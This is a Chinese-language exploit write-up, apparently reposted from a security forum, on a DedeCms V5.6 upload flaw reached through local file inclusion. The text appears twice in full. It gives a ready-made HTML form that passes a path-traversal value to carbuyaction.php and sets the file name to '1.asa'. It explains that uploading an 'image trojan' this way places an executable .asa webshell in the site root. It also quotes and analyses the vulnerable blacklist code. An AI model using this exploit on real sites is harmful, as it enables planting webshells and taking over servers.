DedeCms V5.6 本地包含里的上传漏洞(可是那包含漏洞已经公布)
程序员文章站
2022-06-22 19:35:51
DedeCms V5.6 本地包含里的上传漏洞(可是那包含漏洞已经公布) ,使用dedecms5.6的朋友可以参考下。... 11-08-19...
dedecmsv5.6 本地包含
dedecmsv5.6 本地包含
http://t00ls.net/thread-8608-1-1.html
之前就发现了这本地包含的利用方法。
<form action="http://localhost:8090/plus/carbuyaction.php?dopost=return&action=xxx&code=../../include/dialog/select_soft_post" method="post" enctype="multipart/form-data" name="quicksearch" id="quicksearch">
<input type="hidden" name="newname" value="1.asa">
<input type="file" name="uploadfile">
<input type="submit" value="搜索" name="quicksearchbtn">
</form>
上传一个图片木马(只改后辍名为图片类型就行),即可在网站根目录生成 1.asa 文件
简单分析:
文件:select_soft_post.php
<?php
if(!isset($cfg_basedir))
{
include_once(dirname(__file__).'/config.php');
}
//config.php 是用于验证是否管理员。由于本地包含, $cfg_basedir 已经设置了值,应该跳过了验证。
//文件名(前为手工指定, 后者自动处理)
if(!empty($newname))
{
$filename = $newname;
if(!ereg("\.", $filename)) $fs = explode('.', $uploadfile_name);
else $fs = explode('.', $filename);
if(eregi($cfg_not_allowall, $fs[count($fs)-1]))
{
showmsg("你指定的文件名被系统禁止!",'javascript:;');
exit();
}
if(!ereg("\.", $filename)) $filename = $filename.'.'.$fs[count($fs)-1];
}else{
$filename = $cuserlogin->getuserid().'-'.dd2char(mydate('ymdhis',$nowtme));
$fs = explode('.', $uploadfile_name);
if(eregi($cfg_not_allowall, $fs[count($fs)-1]))
{
showmsg("你上传了某些可能存在不安全因素的文件,系统拒绝操作!",'javascript:;');
exit();
}
$filename = $filename.'.'.$fs[count($fs)-1];
}
问题就出在 $newname 那里,没验证上传类型,但验证了非可上传类型
//这里强制限定的某些文件类型禁止上传
$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";
即可以上传非上面类型的文件,有时也并不鸡肋。。
dedecmsv5.6 本地包含
http://t00ls.net/thread-8608-1-1.html
之前就发现了这本地包含的利用方法。
复制代码
代码如下:<form action="http://localhost:8090/plus/carbuyaction.php?dopost=return&action=xxx&code=../../include/dialog/select_soft_post" method="post" enctype="multipart/form-data" name="quicksearch" id="quicksearch">
<input type="hidden" name="newname" value="1.asa">
<input type="file" name="uploadfile">
<input type="submit" value="搜索" name="quicksearchbtn">
</form>
上传一个图片木马(只改后辍名为图片类型就行),即可在网站根目录生成 1.asa 文件
简单分析:
文件:select_soft_post.php
复制代码
代码如下:<?php
if(!isset($cfg_basedir))
{
include_once(dirname(__file__).'/config.php');
}
//config.php 是用于验证是否管理员。由于本地包含, $cfg_basedir 已经设置了值,应该跳过了验证。
//文件名(前为手工指定, 后者自动处理)
if(!empty($newname))
{
$filename = $newname;
if(!ereg("\.", $filename)) $fs = explode('.', $uploadfile_name);
else $fs = explode('.', $filename);
if(eregi($cfg_not_allowall, $fs[count($fs)-1]))
{
showmsg("你指定的文件名被系统禁止!",'javascript:;');
exit();
}
if(!ereg("\.", $filename)) $filename = $filename.'.'.$fs[count($fs)-1];
}else{
$filename = $cuserlogin->getuserid().'-'.dd2char(mydate('ymdhis',$nowtme));
$fs = explode('.', $uploadfile_name);
if(eregi($cfg_not_allowall, $fs[count($fs)-1]))
{
showmsg("你上传了某些可能存在不安全因素的文件,系统拒绝操作!",'javascript:;');
exit();
}
$filename = $filename.'.'.$fs[count($fs)-1];
}
问题就出在 $newname 那里,没验证上传类型,但验证了非可上传类型
//这里强制限定的某些文件类型禁止上传
$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";
即可以上传非上面类型的文件,有时也并不鸡肋。。
上一篇: 利用%5c绕过验证
下一篇: DISCUZ X1.5 本地文件包含漏洞